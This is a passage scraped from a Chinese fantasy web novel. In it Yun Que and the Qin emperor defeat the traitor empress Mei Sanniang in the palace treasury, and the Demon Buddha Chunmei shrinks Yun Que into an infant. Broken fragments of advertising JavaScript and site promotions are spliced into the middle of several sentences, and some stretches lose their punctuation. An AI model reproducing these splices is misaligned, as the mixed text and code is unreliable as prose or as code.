长孙至清愣了一下很想收回之前的话你小子动用根本不慢快得很呐。 随着子鼠身亡笼罩皇宫的迷雾开始渐渐消散。 “舅母娘娘威武!咱们去御书房!” 云缺在前边带路两人抵达御书房。 书房内点着烛灯。 窗户上倒映着两道身影从轮廓能看得出是秦皇与皇后正在举杯对饮。 云缺破门而入。 眼前的一幕让云缺有一种恍惚的感觉。 秦皇与皇后正兴致勃勃的喝着交杯酒皇后俏脸嫣红秦皇面带微笑。 一幕夫唱妇随的和谐画面。 看到云缺闯入秦皇脸色一沉道: “擅闯御书房你该当何罪!” 云缺急忙躬身道:“陛下臣来送奏折陛下不是说急用么事关奸细之事我一着急忘了敲门。” “放下吧饶你一次。”秦皇冷着脸道。 “遵旨臣告退……” 云缺低着头将从暑夜初手里拿来的奏折放在桌上转身往外走。 皇后此时轻笑道: “不怪他他也是为了陛下着想不如赏他一杯美酒。” 云缺回身笑道:“好哇我最喜欢喝酒了。” 说话的同时妖刀脱手而出直接扎在秦皇额头! 诡异的是秦皇 的身体居然并非实体,妖刀穿过额头钉在墙上。 秦皇愣了瞬间,寒声道: “你敢弑君! “呵,山猫野狗也敢妄 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 称皇帝,你好大一张脸啊。云缺抬手唤回妖刀,冷声道:“我没认错的话,你应该是景王吧,镜子里太闷了,出来散心了?劝你一句,外面的世界很危险,你出得来,容易回不去。 假秦皇的脸上开始模糊,组成了一张陌生而阴鸷的面孔,正是景王。 “你就是云缺啊,驸马,哈哈!你今天与你那大舅秦皇都会死于此地! “镜中人,除了会放屁好像不会别的能耐。 云缺的目光转向皇后。 景王只是魂体,不足为惧,皇后才是真正的威胁,因为云缺能感受到皇后身上起伏着二品程度的恐怖气息! “你是……云缺目光一动,惊讶道:“百花楼的东家!你居然是大秦皇后! 对面的皇后,云缺见过,正是大唐百花楼的东家梅三娘。 “小家伙,难得你还记得本宫,今后你去百花楼,可以免费。梅三娘掩口笑道。 “算了吧,我把你弄死,百花楼就是我的,闻香楼也是我的,比起免费,我更喜欢一锅端。云缺道。 “久闻驸马魄力惊人,如今终于见识到了,我想知道,你凭什么一锅端呢。梅三娘道。 “当然是凭这个了。 云缺指了指身上的紫袍,道:“殿主有令,命我接替未羊之位,其余生肖尽数听候调遣,噬魂师办事不力,已被殿主抹杀,酉鸡,你的任务要拖到什么时候。 梅三娘神色变了变,冷笑道: “气势确实不错,换了旁人怕不得被你蒙混过去,你当本宫会信么。 “不信就算了,反正殿主对你已经不满,到现在还杀不掉秦皇,你也活不了多久。云缺道。 “二品不灭确实不好杀,不过没关系,很快你们皇帝就会魂飞魄散。 梅三娘挥手掀开床榻上的被褥,现出了秦皇的身影。 秦皇此时的状态极其诡异,身上仅存的血肉在不断消融,浑身气机时而暴起,时而被压制,反反复复,无法挣脱。 云缺发现有一道光幕落在秦皇身上,抬头看去,光幕 来自床榻顶端,是一面巨大的铜镜! 地镜! 云缺终于明白了真相。 酉鸡梅三娘串通景王,以地镜困死了秦皇! 地镜那等异宝,一旦落入旁人之手,连秦皇也扛不住,何况秦皇重伤未愈,处于最虚弱的时候。 加上天龙城遭遇噬魂兽危机,城内百姓尽数被控制,没人再认可大秦,秦皇虽然身处皇宫,却相当于远在大秦之外,无法动用一品之力。 门外传来了喊杀声。 幻阵崩塌后,吴尔智率领的天策司与影卫恶战。 皇陵地宫里的噬魂兽被七叔镇杀,城里的噬魂兽也纷纷中毒,相继死去,但是皇宫里的影卫却仍旧存活。 因为影卫是武夫与噬魂兽融合而来的异类,对七叔的奇毒有着很强的抵抗能力,一时半会的死不掉。 长孙至清进屋后一语未发,此刻突然出剑。 直取梅三娘的人头! 酉鸡早有防备,抬手唤出一面小巧的玉簪,与雷剑轰鸣在一处。 云缺趁机冲向秦皇,打算将秦皇救出来。 只要撼动地镜,赢開就有机会脱身。 没等云缺抵达近前,梅三娘忽然冷笑一声,随后地面开裂,御书房里的一切全部陷入地底。 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第677章 有贼 御书房在不断下沉。 无论动用任何手段都无法停止下坠的速度,云缺整个人犹如被一股巨力砸进了地底。 房间没有变化,但是四周的墙壁在快速上移。 长孙至清催动起三面冰盾,环绕在身前,将自己与云缺护在其中。 跟着皇后抵达御书房的只有两名丫鬟,加上云缺,不过三位破军而已,而对方明显是一位二品强者。 秦皇被地镜困住,无力出手,靠着云缺与长孙至清这几人,想要破局难如登天。 “地镜之力太过恐怖,必须想办法将其破坏,否则我们没机会活命。” 长孙至清的低语中带着一种绝望之感。 之前笼罩秦皇的地镜,此时贴在了棚顶,落下的光泽铺满整个房间。 正是地镜之力,将整个御书房带入地底。 镜面里浮现出景王的身影,他面色狰狞的开始抬手写字。 ‘赢開必死!你们几个也一样会死!’ ‘赢開把我害成这种鬼样子,今天让你们也尝尝当鬼的滋味!’ ‘先把你们一个个杀掉,再提出元神封入地镜,让你们统统当我的奴隶!’ ‘哈哈哈!地镜里真寂寞啊,等你们进来,本王会好好疼爱你们一番,让你们求生不得求死不能!’ 长孙至清与两个丫鬟的脸色越发苍白,云缺则仰头看着镜面上的字迹,皱眉道: “他这字……好丑啊。” 景王正无比得意,听到这话差点没从地镜里掉出来,咬牙切齿再次写字。 云缺没在看了,回头问长孙至清。 “舅母娘娘,镜子里那死鬼写的什么,我们武夫不识字呀。” 景王写字的手开始颤抖起来,终于写不下去了,嘶吼着从镜面里探出两只大手掐向云缺。 云缺看似忽略了镜面,实则就等着对方发怒冲出来呢。 当景王的大手抓来之际,云缺肩头突然冲出两只更恐怖的妖爪,妖气中融合着冲天的煞气,抓住景王的大手,硬生生将其从地镜中扯了出来。 长孙至清抬手一剑,斩向景王的脑袋。 如此配合,堪称绝妙。 轰鸣声大作,来自梅三娘的一记法术,轰开了长孙至清的飞剑。 景王被扯断了两只手,吓得缩回地镜。 镜子里的人影失去两只胳膊,嘴巴不断的开合,在破口大骂,只是外面听不到了。 “继续写啊,写多了,字就好看了。 云缺仰头道:“哦对了,你没手了,不好意思,绝了你写字的爱好,不过没关系,你可以用脚丫子继续写。 景王的元神之躯,岂能是云缺的对手,一身煞气就足以将其毁灭。 景王不足为虑,真正的大敌,是酉鸡。 “死到临头还有心情调侃别人,驸马真是好魄力。 梅三娘始终坐在床榻旁,根本就没动地方,娇笑道:“有你们陪葬也好,陛下到了地府,好歹有几个下人使唤,一代霸主,孤零零的走了,实在让人不忍心呢。 说着怜悯之言,梅三娘的手上却多了把匕首,在秦皇身上割下一块血肉。 匕首顶端燃烧起幽蓝的火焰,血肉在逐渐焦糊。 “不灭武夫真难杀呀,没办法,只能一点一点烧掉。 梅三娘把玩着匕首,道:“你们几个,想要怎么死呢,烧死,还是冻死,或者自行了断。 长孙至清寒声道: “长孙家不会放过你,本宫若死在此地,你除非逃出云州,否则你必死无疑! “呦,我好怕啊,咯咯咯咯! 梅三娘娇笑道:“大唐皇后好生霸道,动不动就抬出家族,陛下将死,本宫会执掌大秦,你们长孙家拿什么力量与大秦抗衡,哦对了,你们大唐还有位老剑圣,不过很可惜,剑圣已经死透了,呵呵呵呵! 长孙至清此刻心如死灰。 同样是皇后,她的修为比起对方差了一个大境界,根本不是对手。 一旦秦皇死掉,对方即可趁机占据大秦,垂帘听政,长孙家族确实很强,但是难以对抗整个大秦。 哪怕倾尽大唐之力都做不到。 “一日夫妻百日恩,你在陛下身边这么多年,难道你们就没有一丁点感情可言,何必下如此杀手。 云缺沉声道:“五位生肖高手,只剩你一人,现在醒悟还来得及,执迷不悟你只有死路一条! “小驸马,吹牛可以,别吹那么大,凭你们,能杀掉未羊已经是奇迹,生肖高手岂是你这种 小小破军能抵抗的存在。梅三娘不屑道。 “不信是吧,那你数一数,这里有几件紫袍。 云缺说着拿出了子鼠和申猴的紫袍,算上自己身上的,一共三件。 梅三娘的脸色骤然一变。 “申猴死了?怎么可能! 新一任的子鼠出了意外,梅三娘是能感知到的,皇宫里的大阵是暑夜初控制,云缺能抵达御书房,说明暑夜初凶多吉少。 但是梅三娘怎么也不敢相信,申猴的紫袍会在云缺手里。 “怎么不可能,今天杀生肖,过几天杀你们殿主,你们星辰殿作恶多端,天怒人怨,老天都看不过去了。云缺冷声道。 梅三娘很快冷静下来,道: “既然你搬来了强援,那好吧,老娘不玩了,你们很快就会死掉! 梅三娘手里的匕首火光大起,幽蓝色的火焰很快将血肉烤焦,化作齑粉。 随后梅三娘再次扎向秦皇为数不多的血肉,她要加快速度,尽快将秦皇彻底灭杀掉。 云缺想要帮忙。 但是脚下如同陷入泥潭,往前迈一步要耗费全部力气,走到床边都难以做到,更别提救下秦皇。 长孙至清的本体一样难以妄动。 她催动长剑攻向强敌,却在距离酉鸡丈许远的地方被一层庞大的力量挡住,难以寸进。 秦皇的血肉本就没有多少,身上大多是骸骨,根本架不住切割,很快会完全失去血肉。 到时候剩下一副骷髅,即便秦皇还能坚持不死,也绝对活不了多久。 云缺虽然焦急,但是强行冷静,冷喝道: “我宣布,叛出大晋!不再是大晋之人! “我宣布,加入大秦,奉秦皇为主! “此地大秦,陛下万胜! 云缺吼出了三句奇怪的话语,不仅酉鸡听不明白,旁边的长孙至清也满头雾水。 大晋之人叛出晋国,加入秦国? 不就是其他国度的子民,转进大秦么,这种情况每年不知发生多少次,实在算不得新鲜。 云缺看似在说着疯话,实则意志坚定。 在云缺的脑海里,直接剔除了大晋之人的身份,将自己归纳为秦人,视大秦为故土,视秦皇为帝王。 因为唯有如此,才能在这种情况下帮到秦皇。 此地大秦,只要有一个臣民认可,那么秦皇就有机会动用一品之力! 嘭!! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ! 被地镜之力笼罩的秦皇,突然抬手掐住酉鸡的脖子,恐怖的力量汇聚在手掌。 梅三娘大惊,拼尽全力抵抗,仍旧被掐得脖子青紫,骨头开始碎裂。 “欺君之罪,皇后,你该死! 秦皇艰难的吐出几个字,手里的力量迸发到极致。 云缺转为大秦子民,确实给秦皇带来了一份力量,然而这份力量并不足以激发出一品之力,只能勉强动用二品的力量。 因为地镜的存在,几乎将秦皇完全封印。 见秦皇反击,云缺焦急道: “舅母娘娘快学我!脱离大唐,加入大秦! 长孙至清愣怔了一下,想要说什么,可就是说不出口。 换成旁人或许不在乎,但她可是大唐皇后,即便能说出来加入大秦的话语,内心里也无法承认自己是秦人。 旁边两个破军境的丫鬟更是如此。 云缺急得直跺脚,却没办法。 云缺自己对大晋其实早就无感,他本是燕人,家破国亡,转到什么国都没问题,但别人很难做到。 眼看着秦皇手上的力量越来越弱,云缺徒呼奈何。 梅三娘抬手指向上方,拼尽全力喝道: “地镜! 地镜里的景王帮着一起驾驭至宝,镜面里投下的豪光越来越盛。 梅三娘终于脱困,退开数步,脸色苍白。 秦皇的大手无力的垂了下去,缓缓闭上眼,低语道: “皇后,你与朕也算夫妻一场,朕可以死,希望你能放过云缺,让他活着离开。 堂堂云州霸主,在绝望之际没有任何惧意,反而说起了恳求之言。 秦皇的下场,堪称悲壮又憋屈。 梅三娘冷笑道: “抱歉啊陛下,驸马太过狡猾,留着他早晚是个祸害,今日他死定了。 云缺怒喝道: “皇舅不必替我求情!我们武夫何惧一死!就算她杀了我们,她也离不开天龙城,唐皇已经派兵赶来,仅剩一个生肖,她逃不出去! 梅 三娘笑道: “驸马可能不知道陛下的宝库有密道连通着城外只要我想走你觉得谁能拦得住呢咯咯咯!” 在酉鸡的笑声中御书房终于抵达地底。 四周的墙壁消失不见呈现出一处宽敞的地底空间四周均有大门隔着大门都能感受到灵气扑面! 原来大秦宝库就在御书房的地底! “杀了你们搬空宝库我的任务即可完美结束有了这无尽的资源大秦的龙椅本宫自可坐得安稳哈哈哈哈哈哈!” 梅三娘放声大笑。 她的计划堪称完美。 秦皇一死那么皇后即可垂帘听政 因为三位皇子都是梅三娘亲生的儿子! 这也是梅三娘最大的底气。 长孙至清已经彻底绝望在如此地方叫天天不应叫地地不灵根本等不到唐皇的援手。 云缺也知道希望太过渺茫所有强援不是重伤失去战力就是被暂时困住来不了自己这点能耐无法破局。 梅三娘大笑着挥动手臂四面大门应声开启。 灵石成山灵草遍地法器耀眼珠光宝气。 大秦宝库里的资源堪称惊人。 其他三个大门里都是宝贝第四个大门开启后现出了一个奇怪的人影。 此人背着个大口袋身上挂满了储物袋怀里还捧着一堆灵石灵石挡住了脸看不到模样。 显然是个贼。 第678章 我有个朋友 宝库第四面大门开启的同时,潜入宝库的贼人正要往外推门。 结果推了个空,怀里的灵石洒落一地。 “谁!谁他娘的跟着老子打秋风!” 此人勃然大怒,嘴里的两颗龅牙显得很是凶悍。 云缺揉了揉眼睛,原本沉重的心情在看到此人后直接变成了大喜。 “二哥!是我啊!” 云缺大吼一声。 潜入大秦宝库的贼,正是徐二哥。 徐二哥一眼看到云缺,怪笑道: “好兄弟又是你!我就知道你鼻子最灵,在哪都能闻到钱味儿,快点动手,我都装满了,你赶紧装!今天咱们哥俩干票大的!” 梅三娘和长孙至清外加两个破军境的丫鬟,此时变得面目呆滞,有点没反应过来。 怎么大秦宝库里,还有贼呢…… 更让几人震撼的是,云缺居然说了声好,艰难的拔腿往宝库里跑,也开始装灵石…… 除了二哥之外,包括秦皇在内,所有人都沉默了。 梅三娘认为驸马穷疯了。 长孙至清觉得这个外甥得了缺钱病。 秦皇在感慨,你就不应该加入大秦,你应该加入钱国,反正有钱的地方就是家,管他是谁家。 “你还带帮手了啊,一会儿多分他们点,咱们干这行就要讲义气!” 徐二哥一边帮着云缺装灵石,一边瞄了眼另外几人,他忽然停下手里的动作,盯着梅三娘道:“这个好眼熟啊,怎么好像见过,她是……” 徐二哥越想头越疼,两手抱头,表情痛苦。 梅三娘也看清了徐二哥的模样,此时脸色渐渐沉了下来。 “她是酉鸡,闻香楼的东家梅三娘,二哥仔细想想,你们应该是老相识。” 云缺缓缓站了起来,神色冷冽的将怀里的灵石收进储物袋。 “想不起来!头疼!要炸了!” 徐二哥越发痛苦。 “二哥,你看那是谁,我把你兄弟带来了。”云缺指向秦皇。 徐二哥随之望去,脱口道:“老鼠!” 听到老鼠两个字,秦皇痛苦的闭上了眼睛。 不是疼的,而是气的。 他这辈子最痛恨的称呼,已经二十多年 没听见了如今再次听闻还是气得要升天。 “老鼠酉鸡我是谁?我到底是谁!” 徐二哥痛苦的嘭嘭敲着脑袋整个宝库回荡着恐怖的响动。 云缺在旁边轻语道: “二哥你是丑牛星辰殿的丑牛你与子鼠一组你慢慢想你一定会想起往事。” 听闻丑牛二字徐二哥渐渐停住了拳头狰狞的神色恢复了正常目光中多了清明之色。 “想起来了我是丑牛我是徐傲古!” 二哥将目光盯住了梅三娘怒喝道:“你个小妖精在化境里偷袭我差点把我弄死!害得我失去神智多年今天老子要报仇雪恨!” “恭喜二哥恢复清明!”云缺在旁边道。 “多亏了兄弟你!这宝库咱们一人一半谁也不分!”徐二哥傲然道。 云缺神色一垮我也想平分但秦皇不干呐。 “小老鼠别怕我来救你!” 徐二哥脚下一震化作一道流光冲向酉鸡。 “二哥先打地镜!”云缺大呼道。 徐二哥化作的流光瞬间一分为二一道冲向酉鸡 梅三娘不敢怠慢急忙防御。 秦皇被封印可丑牛的力量她是知道的十二生肖当中如果选出个最猛的家伙必定是排行第二位的丑牛! 轰鸣声大起! 笼罩头顶的地镜被徐傲古一拳震开直接砸进石壁。 梅三娘的防御也被一拳砸碎整个人倒飞而出。 二哥一出手便扭转了整个局面。 失去地镜的封印秦皇一跃而起浑身伤口快速愈合。 “二哥别来无恙没想到我们还有联手的一天。”秦皇洒然道。 “嘿嘿小老鼠你还是那么弱二哥既然来了你就放心吧!拦路的家伙二哥帮你统统碾碎!”徐傲古狂笑道。 时隔多年子鼠丑牛再次联手上演了一幕令云缺铭记多年的战斗。 两人各自施展出二品不灭的战力将梅三娘与景王打得没有还手之力。 最后秦皇成功夺回地镜将景王之魂彻底抹杀。 徐傲古则将梅三娘打得尸骨无存成了满地残渣。 这场 恶战甚至没用云缺与长孙至清动手两个破军境的丫鬟全程惊呆张着嘴巴 两位不灭武夫的战力恐怖如斯! 战斗结束之后宝库里回荡着秦皇与二哥畅快的笑声。 笑声里伴随着哗啦哗啦装灵石的响动…… 战斗全程云缺都在往兜里搂钱。 大好的机会过这村没这店儿了…… 等储物袋装得满满登登再也塞不下了云缺这才站起身大呼一声陛下威武。 秦皇也懒得计较控制御书房从新回到地面。 接下来的局面有点尴尬。 大唐皇后与大秦帝王共处一室两人都有些不自在。 皇宫里的战斗也接近了尾声。 吴尔智率领的天策司精锐将影卫几乎灭杀一空。 虽然影卫强悍但沾染了七叔的毒力战力大减敌不过倾巢而来的大唐精锐。 房门一开吴尔智当先冲了进来。 进屋后就道: “外敌肃清皇后可曾拿下秦皇!” 说完这话吴尔智就后悔了。 他看到秦皇与自家皇后对坐在大桌两侧两人全都表情古怪的看着自己。 “呃……可曾拿下了秦皇敌对的叛徒!” 吴尔智从新加了一句同时额头渗出冷汗。 秦皇好端端的坐在这人家可是天下一品当着一品的面说漏嘴了。 “强敌已除本宫就此告辞。”长孙至清起身道。 “多谢皇后相助过阵子养好伤势朕会亲自去大唐道谢。”秦皇起身相送。 “陛下客气了大秦与大唐本该世代交好百姓方可安居乐业。”长孙至清客气道。 “皇后此言有理朕送皇后出宫。”秦皇道。 一旁的云缺听得直想笑。 一个叫皇后一个称陛下不认得的还以为这两位是两口子。 大唐皇后与大秦皇帝见面这种事本就千古难遇能见证这一幕的人以后都有了吹嘘的本钱。 一行人刚走出御书房门口左兰山匆忙赶到。 太尉一瘸一拐的也来到皇宫看到秦皇无碍龙桃与左兰山齐齐松了口气。 此番劫难终于有惊无 险。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >大家都平安。 至于灵匠殿先生一直留在丞相府挖坑呢…… 见秦皇要送客龙桃急忙接下了这份任务即便对方是大唐皇后也不能让自家皇帝亲自送多没面子不是。 于是龙桃与云缺一起将长孙至清送到闻香楼门口。 临走前吴尔智询问起皇子下落云缺拍着心窝打包票过一会儿自己送白无缺回去。 皇后与宰相这才安心返回。 别看与秦皇见面时大家都客客气气等回到大唐百花楼 生肖高手的问题解决了传送阵的问题可没解决呢。 百花楼与闻香楼互通以后大秦皇城与大唐皇城相当于可以随意往来这要是有一方心怀鬼胎另一方就有灰飞烟灭的风险。 不得不防。 以吴尔智的看法应该就此毁掉百花楼大唐比大秦弱了许多大秦没有元气大伤那么大唐就绝对不是对手。 唐皇得知后也挺为难。 留着这个传送阵的出入口他这位大唐皇帝有点睡不着觉。 长孙至清倒是不太在乎觉得秦皇身为天下一品这种偷袭的事应该不会做况且大唐这次帮了大秦出力不小双方可以达成联盟就此共享太平。 而促成联盟的最佳人选便是在大秦与大唐都有举足轻重地位的吉王云缺。 唐皇就此拍板等云缺回来再商议此事。 “白龙呢?他怎么没回来。”白隆佑问起武威王。 “武威王受伤不轻云缺说他负责帮忙疗伤他有位七叔是神医一定能治好。”长孙至清道。 “能让白龙受此重创这次天龙城之行实在凶险难为皇后了对了皇子呢?”白隆佑道。 “云缺说皇子在安全之处很快他会亲自送回来陛下不必担心吉王行事虽然荒唐居多但为人是稳重的。”长孙至清道。 白隆佑放心了吩咐摆宴给皇后接风洗尘。 大秦这块心病压在白隆佑心头很多年了如果能借此次机会达成联盟对白隆佑来说最好不过。 大唐与大秦联盟云州之上何人能敌。 送走了大唐皇后云缺与龙桃走在 街头。 “太尉伤势如何要不要紧如果不舒服让我七叔帮你瞧瞧。”云缺道。 “没什么大碍就是有时候爱忘事儿元神伤势不是那么容易治好的幸亏危机解除再打下去我容易敌我不分看来得养个十年八年了。”龙桃摇头叹气。 “我有个朋友治疗元神伤势手到病除一碗药下去保你痊愈。”云缺道。 “真的这么神?谁呀比你那个七叔还厉害?”龙桃道。 “治疗别的病症他不行专门对元神有效他叫门六等找到他让他给太尉治一治。”云缺道。 “那感情好!我可不想一天糊里糊涂的像个老头子哎云小子往哪走这边。”龙桃说着转向一条街。 “去皇陵不是走这边比较近吗。”云缺奇怪道。 “我看城里没什么危险就和你七叔把武威王和婴孩送进城了你不是在九儒楼对面有个书楼吗把他们都送书楼里了。” 龙桃笑呵呵的道:“荒郊野岭的岂是待客之道让他们见识见识咱们天龙城的热闹!” 龙桃说完云缺的脸都白了。 春梅就在书楼等着吃噬魂师呢这下好噬魂师没送去送去个白无缺! 注册本站会员可以解锁更多福利,快试试吧 第679章 一命换一命 龙桃说完一回头,云缺已经消失在原地。 “人呢,走这么快,等等我呀。” 龙桃追出半条街,迷茫起来:“九儒楼怎么走来着,这会儿又忘了呢?” 当云缺走进书楼的时候,听不到任何声音。 房门关着,气氛压抑。 云缺暗骂了一声该死的因果律。 谁能想到天龙城危机解除,结果自己迎来了更可怕的危机。 比起魔佛,云缺宁愿去面对更多的生肖高手。 但云缺不得不来。 太尉好心办了坏事,不仅把白无缺送来书楼,七叔和武威王一样全给送来了。 魔佛正饿呢,这下好了,白来一顿免费的大餐。 时间紧迫,云缺没机会去找其他帮手,只能硬着头皮推开房门。 嘎吱。 房门的响动比以往任何时候都要刺耳。 书楼大厅内,杨七古正在给忆白龙的伤口做最后处理。 另一侧, 春梅安安静静的坐在椅子上,怀里抱着婴孩。 看似和睦的画面,在云缺看来无比刺眼,尤其春梅微微翘起的嘴角,让云缺觉得浑身发冷。 “伤势已经无碍,命肯定保住了。” 杨七古抹了把额头的汗水,问道:“皇宫里的危机如何了。” “大局已定。”云缺抬起忆白龙道:“七叔帮把手,咱们先把病人安置在卧房。” 杨七古的眉峰微微动了动,点头说好,抬着忆白龙的脚,搬离了大厅。 等将忆白龙放在卧房,云缺深深的吐出一口气。 “是不是后续疗伤的药材,很难找。”杨七古目光凝重的道。 “有点难办,我尽力。”云缺道。 “我帮你一起找。”杨七古道。 “不用,七叔在这等着即可,我要是找不到药材,你去找秦皇要,他肯定会给。” 云缺说完走出卧房。 杨七古则留在屋子里,眉峰紧锁。 两人的对话,并非表面那么简单。 杨七古已经发现云缺遇到了难题,否则之前抬病人的时候,云缺一个人足以,不会让他帮忙。 所以才用后续药材为暗示。 杨七古知道 云缺有难处但他帮不上忙没了修为强行出头只能给云缺多添麻烦。 云缺一个人再次返回书楼大厅进屋后回身关好门。 能把七叔和武威王带离此地云缺自己都有些意外也许是魔佛看不上那两人的元神。 深吸一口气云缺开口道: “你要的东西没找到把孩子还给我你开条件。” “你觉得自己有资格与我谈条件么。”春梅轻轻拍着怀里的婴孩诡笑道:“有了娃儿我不再需要任何东西你可以走了。” 婴孩闭着眼睡得正香胖乎乎的小脸上挤出个即将哭泣的表情好像做了什么噩梦。 “这么说没得谈了。” 云缺神色冷冽下来道:“此番因果由我而起我若不将白无缺带出来他也不会陷入今天的境地我的因果我自己来断!” 妖气开始起伏煞气铺满四周。 这一战云缺不打算逃避。 其他事无所谓该溜就溜能逃就逃。 但葬送白无缺这种事云缺做不出来。 并非因为白无缺是佛陀转世而是因为白无缺也是云缺的表弟。 “以你的修为 “我确实斗不过你但我有把握拉着你一起死!”云缺冷声道。 两人的目光彻底冷冽下来互相对视谁也不肯让步。 屋子里的气氛充满了肃杀之意。 一场死斗无法避免。 就在云缺打算拼命不惜开启文殿的时候春梅忽然笑了起来。 “执着的人啊没什么好下场也罢你如果非要这孩子不是不行用一样东西来换。” “用什么换你说我答应就是了。”云缺道。 “用你自己来换。”春梅道。 云缺愣了一下。 “用我换他?” “怎么不愿意。” “好!换就换!一命换一命!” 云缺收起妖刀走向春梅。 春梅说话算话将怀里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的婴孩放在了旁边朝着云缺伸出双手仿佛要拥抱新的婴孩。 几步的距离而已云缺每走出一步自己的身体就会变小一些等到了春梅 近前云缺已经成了个一岁大小的婴孩模样小小的身体罩在宽大的紫袍里显得十分好笑。 春梅伸出手诡异的微笑道: “孩儿到我怀里来……” 如同母亲的呼唤实则充满冰冷云缺发现自己没有了任何修为如同个普通婴孩一样难以抗衡。 当云缺的一双小手被抓住之际眼前温柔的春梅展现出恐怖的一面嘴角开裂变化成一张深渊般的巨口豁然吞下! 云缺下意识的一闭眼。 反击不是现在云缺打算被魔佛吞噬后在其肚子里动用文殿先把巫神碑放出来让魔佛与巫神先斗最好他们两败俱伤云缺才有一线生机。 计划早已被定下但是无法执行。 当云缺睁开眼发现自己还在屋子里 另一边。 白无缺从襁褓里一跃而起破窗而走。 未羊的紫袍犹如活物在大嘴中不断挣扎发出凄厉的吼声转眼间就进了魔佛的肚子。 春梅恢复原样仍旧一副温柔姿态嘴巴动了动好似在回味刚才的美味。 婴孩状态的云缺一脸呆滞。 很快醒悟过来。 “噬魂师没死!” 云缺恍然大悟原来噬魂师鬼鸠并未死透残存的元神躲在紫袍里被自己一直穿在身上! 再一次云缺体会到因果律的可怕之处。 魔佛与白无缺显然都预感到了这段因果因此两人才能共处一室而没有发生互相吞噬的恶战。 对白无缺来说没有梵钟在手一旦与魔佛死斗结果很可能是同归于尽。 魔佛那边也一样没把握吞掉白无缺他也不想动手。 正好两位强者都能看到即将到来的因果于是达成了一种平衡白无缺选择让出噬魂师的残魂魔佛选择不对白无缺下手。 云缺夹在中间毫不知情白白担心一场。 想通了前因后果后云缺恨不得破口大骂你们俩拿我当了工具人我成骡子了! 第680章 谁家娃娃 天龙城的大街上,出现了一幕奇观。 一个不满周岁的婴孩,发足狂奔,跑得那叫一个快,风驰电掣般冲进了闻香楼。 白无缺利用传送阵,独自返回大唐百花楼。 察觉到法阵运转,守在附近的天策司高手纷纷紧张起来,如临大敌。 等看到是个婴孩,天策司的高手们面面相觑,想不通大秦那边怎么过来个孩子。 有人认出是皇子,急忙将白无缺抱回皇宫。 兰妃母子重逢,哭声不断。 兰妃只是单纯的为了担心而哭泣,白无缺则在哭声中时而发出‘混蛋’的音调。 唐皇原本还挺高兴,儿子安然回来,觉得云缺办事牢靠,听闻混蛋二字,不由得好奇起来。 “朕的皇儿居然是天才!半岁不到就会说话了,儿啊,你说谁是混蛋啊?” “呜呜呜……云缺!” 唐皇的笑脸顿时僵住。 自此,大唐传出奇闻,小皇子三个月即可开口说话,乃是文曲下凡。 至于说的是什么话,除了唐皇与兰妃之外,一概无人可知。 天龙城,书楼。 云缺懊恼的退后数步,道: “你们真厉害,因果律玩到我头上了,行!算我白忙一场,噬魂师既然你也吃了,说话就该算数,立刻离开大秦。” 春梅抹了抹嘴角,脸上散发出荣光,显得精神奕奕,道: “当然会离开,没人愿意跟个煞星在一起,早晚倒霉。” “那最好不过了,咱们最好一辈子别见!你别来祸害我,我也不去算计你,大路朝天各走一边!”云缺道。 春梅站起身,伸出一只手。 “什么意思。”云缺加上了小心。 “拿钱来,孕妇之身,你打算不闻不问么。”春梅道。 云缺觉得奇怪,道:“春梅没死呢?即便她没死,等你出生难道不吃了她?” 春梅淡淡冷笑道: “佛有恶念,人亦有恶念,别忘了佛由人生,弑母这种事,妖都未必做得出来,你认为我会做么。” 云缺想了想,倒也是。 魔佛怎么说也是白无缺的另一道元神,汇聚了恶念,佛陀其实是个境界的称呼,实际上仍旧是修行界的 强者是正宗的人族。 魔佛虽然邪恶但还没达到连母亲都吞噬的地步。 云缺大方的拿出一摞银票也没数是多少只要能打发走春梅钱不是问题。 请走这尊大佛倾家荡产都值得! 收起银票春梅不再停留朝着门口走去。 “我有个问题你们当年围杀的武夫到底是谁。”云缺声音凝重的道。 春梅的脚步停在门口沉默了许久。 “他是世间最强的人也是世上最蠢的人……” 春梅仰起头望向门外的青空神色间变得复杂晦涩呢喃般自语道: “最初的时候我觉得他是蝉后来发现他是螳螂直至千年之后我才知道他其实是黄雀。” “原来我们才是螳螂不过没关系我会先杀掉蝉再回头杀黄雀呵呵呵呵。” 春梅忽然转过头表情古怪的道:“我不像你谁是仇人都分不清可怜虫。” 春梅走了。 留下了螳螂捕蝉黄雀在后的谜题。 云缺很想知道谁是螳螂谁是蝉谁又是黄雀。 只是无处询问。 不过云缺知道了一点可怜虫是自己。 春梅显然是在称呼自己为可怜虫。 我可怜? 云缺自然不服气老子堂堂平天王燕皇吉王驸马这么多身份哪个不是高高在上有什么可怜的! 一低头云缺顿时催头丧气。 确实可怜。 身体还是婴孩状态! 春梅走了但施加在自己身上的法力没带走! 这可怎么办总不能重新长大吧! 还得十八年呢我等得了我媳妇等不了呀! 确认春梅真走了云缺急忙冲进卧房。 杨七古吓一跳打量道:“你是谁家的娃娃?” “我呀七叔!我变小了快想办法!” “返老还童之法?你修炼了什么东西?” “我还没老呢还什么童啊!我被人坑了七叔快救我!” “别急七叔帮你瞧瞧哦原来是法力所致问题不大解 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 除即可 “热水就能解决法力了?这么简 单!” “不能,热水是用来沏茶的,我口渴,七叔又没有法力,你找别人帮忙去。” “我都这么惨了,七叔还有心情喝茶!” “死过一次,很多事都看开了,只要你没咽气,七叔为何要担心呢,喝完茶还得去吃顿大餐,尝尝天龙城的美味。” “啊!七叔你变了!等我长大的,给你找几个老太太当小妾!” “你个混小子!” 天龙城的大街上,再次出现了百年难见的一幕。 第二个不到一岁的婴孩冲上了街头,一双小短腿跑出了风旋,朝着皇宫狂奔。 一路上引得无数路人惊呼不断。 “咱们大秦果然是宝地啊,今天都看到两次娃娃狂奔了,如此天赋,岂不是刚降生就能修炼!” “谁家娃娃光腚跑,裤子都不穿哈哈!” 